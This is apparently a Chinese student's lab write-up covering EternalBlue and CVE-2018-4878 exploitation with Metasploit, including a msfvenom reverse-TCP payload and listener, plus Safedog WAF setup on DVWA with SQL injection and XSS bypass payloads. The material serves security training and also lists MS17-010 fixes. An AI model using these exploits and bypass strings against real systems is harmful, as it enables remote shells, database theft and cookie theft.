C7078-2024.4.27

Fantasy 发布于 2024-10-02 66 次阅读


题目

  • 1、MS17-010漏洞复现
    • (1)针对Windows XP和Win7系统使用0~3漏洞利用模块进行攻击
    • (2)分别注明0~3漏洞利用模块的攻击效果和利用条件,完成漏洞修复
  • 2、CVE-2018-4878漏洞复现
  • 3、实现WAF安装与配置
  • 4、WAF绕过SQL注入
    • (1)分别在无WAF和有WAF的情况下,利用SQLMap进行注入,对比注入结果的区别
    • (2)有WAF的情况下,手工注入出DVWA数据库中的user和password,提供注入过程说明文档
  • 5、WAF统过XSS实验

1、MS17-010

漏洞简介

永恒之蓝,爆发于WannaCry勒索病毒的诞生,改病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞“EternalBlue”(永恒之蓝)进行改造而成。该漏洞可以通过TCP的139和445端口,攻击windows的SMB服务,造成远程代码执行。
MS17-010漏洞主要针对windows7及以前的操作系统

漏洞利用

利用条件(原版win7)

防火墙必须允许SMB流量出入
目标必须使用SMBv1协议
目标必须缺少MS17-010补丁
目标必须允许匿名IPC$和管道名
(msdn下载的镜像默认满足2、3)

环境准备

关闭 ‘限制对命令管道和共享的匿名访问’,禁用后重启生效;

关闭系统防火墙

漏洞复现
msfconsole
search ms17-010

use 0
set rhosts 10.0.0.159靶机

exploit

use 1
set rhosts 10.0.0.159靶机
exploit

use 2 ----option选项中command配置攻击后返回command结果
set rhosts 10.0.0.159
set command ipconfig

exploit

use 3
set rhosts 10.0.0.159靶机
exploit

扩展内容

结果 0、1两种方式可以直接获取meterpreter命令行 2返回命令执行结果,3只能用于扫描
条件 0、3不需要开启共享 需要开启共享
漏洞模块 防火墙必须允许SMB流量出入 目标必须使用SMBv1协议 目标必须缺少MS17-010补丁 目标必须允许匿名IPC$和管道名
0 exploit/windows/smb/ms17_010_eternalblue
1 exploit/windows/smb/ms17_010_psexec
2 auxiliary/admin/smb/ms17_010_command
3 auxiliary/scanner/smb/smb_ms17_010

漏洞修复

1.补丁
2.关闭SMB功能--业务不需要时可以关闭,理想环境下实现
3.外围安全设备实现防护
4.关闭445端口--业务不需要,135、137、139、443、445
5.访问控制,在防火墙上添加白名单(仅允许xxx访问)

2、Flash漏洞 CVE-2018-4878

漏洞简介

2018年2月1号,adobe官方发布安全通报(APSA18-01),声明adobe Flash 28.0.0.137及其之前的版本,存在高位漏洞(CVE-2018-4878)
攻击者通过构造特殊的flash连接,当用户用浏览器/邮件/office访问此flash链接时,会被“远程代码执行”,并且直接被getshell。

参考链接:_https://blog.51cto.com/chenxinjie/2093653

影响版本:

产品 版本 平台
adobe flash player桌面运行时 28.0.0.137及更早版本 Windows,Macintosh
适用于Google chrome的adobe flash player 28.0.0.137及更早版本 Windows,Macintosh,Linux和chrome操作系统版本
适用于mircosoft edge和internet explorer 11的adobe flash player 28.0.0.137及更早版本 windows 10和8.1
adobe flash player桌面运行时 28.0.0.137及更早版本 linux

漏洞利用

漏洞环境

攻击机:kali 靶机:win7 sp3 exp:cve-2018-4878.py flash:flashplayer_avtivex_28.0.0.137.exe

攻击流程

1.kali中使用msfvenom生成漏洞利用代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.157 lport=4445 -f python>magedu_shellcode.txt

2.查看生成的文件

3.修改CVE-8-4878-master文件夹中的cve-2018-4878.py,替换该字段

4.修改cve-2018-4878.py文件中的文件生成路径为自己的路径,并将cve-2018-4878-master文件夹复制到kali root目录下

5.kali root目录下python2 cve-2018-4878.py 使用python执行修改完的文件,此目录下产生.swf和.html两个文件

6.开启apache服务,并将生成的两个文件copy到apache服务目录下(让目标访问到生成的目录文件)
server apache2 start
cp /root/cve-2018-4878/* /var/www/html

7.kali上开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverser_tcp
set lhost 10.0.0.157
set lport 4445 //lport和lhost要与生成的shellcode文件中一致
exploit


8.win7中安装flash插件,并在ie中访问生成的index2.html页面


9.kali获取meterpreter终端,并测试

3、WAF安装与配置

3.1 安装DVWA安装DVWA

使用phpstudy部署dvwa靶场,使用MySQL+Apache
注:dvwa文件夹放在phpstudy下www目录下
dvwa\config\config.inc.php文件中数据库用户名密码改为root
dvwa\php.ini中allow_url_fopen = On allow_url_include = On (文件包含)(phpstudy_pro\Extensions\php文件夹中也需要求改)

小皮面板下创建dvwa站点,访问该站点,成功安装dvwa后,使用SQL_Front工具修改guestbook和user两个表的字符校对集为utf8_general_ci防止后续出现乱码

3.2 安装安全狗(WAF)

官网下载最新版安全狗apache版本 http://free.safedog.cn/
查看本地服务中有没有apache服务win + service,发现没有apache服务

小皮面板中关闭apache服务,找到apache路径,复制路径,并以管理员打开cmd

切换到路径目录下,执行.\httpd.exe -k install -n apache2.4.39,在服务里查看apache并启动

安装安全狗,发现所有选项已自动识别填充,安装后并启动安全狗

打开dvwa靶场进行攻击实验,发现被安全狗拦截 //常见防火墙(WAF)拦截页面
https://blog.csdn.net/qq_51577576/article/details/128165335

4、WAF绕过SQL注入

核心思想:改变SQL查询语句的格式,但不改变其语义

WAF利用正则表达式基于语义去检测
SQLmap注入有无waf对比
目前安全狗可以正常跑出结果,sqlmap一直在更新旧版本sqlmap可能会被拦截
image-20240602154829055
手注背安全狗拦截
image-20240602155003928

(1)内联注释:将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,但在MySQL自身可以识别 //“不是注释的注释 \=不具备注释语义的注释”

内联注释特性:
1./*!XXX*/:语句会被注释掉
2./*!数据库版本号XXX*/:数据库版本号≤实际版本号时,语句不会被注释掉
3./*!数据库版本号XXX*/:数据库版本号≥实际版本号时,语句会被注释掉

1' /*!11445and*/ '1'='1 00000~99999 可以使用字典爆破,安全狗中后四位440~445

(2)联合注入
order by 判断列数 order by 会被拦截,利用group by 绕过
400

|400


说明只有2列,使用1' union select 1,2 --+查询时被拦截
利用绕过,在参数后插入其他语句,添加注释,然后使用截断,使用%23使得语句报错,将双引号直接注释 //%0A-回车 %23--# regexp正则函数

1' regexp "%0A%23" /*!11144union %0A select */1,2--+ 

正则匹配换行和#没有实际意义,但改变了句式,union %0A select 使联合查询语句不明显

查询数据库

1' regexp "%0A%23" /*!11144union %0A select */1,database() --+ ,被拦截,针对database()进行绕过,database(%0A /*!11445*/)


获取库名

select first_name,last_name from users where user_id = 1 union select 1,group_concat(schema_name) from information_schema.schemata;
-1' /*!union*/ /*!--+*/*%0Aselect \*!1,*/group_concat(schema_name) /\*!from\*/ information_schema./*!schemata*/ --+


获取dvwa库里面所有的表名

union select group_concat(table_name) from information_schema tables where tables_schema='dvwa'
-1' union /*!--+/*%0Aselect/*!1,*/ group_concat(table_name) /*!from*/ /*!--+/*%0Ainformation_schema./*!tables*/ where table_schema='dvwa' --+

5、WAF绕过XSS攻击

测试环境:DVWA+安全狗

直接输入一下代码会被安全狗拦截

<script>alert(1)</script>

(1)利用base64编码绕过

< object data="data:text">
< object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3NjcmlwdD4="

image-20240512220103960
image-20240512220120853

(2)利用SVG标签进行绕过;<\svg>标记定义SVG图形的容器

<img src=## onerror=alert(document.cookie)> ##导致错误,onerror出现错误后执行后面语句
<svg/onload=alert(1)>

此作者没有提供个人介绍
最后更新于 2024-10-02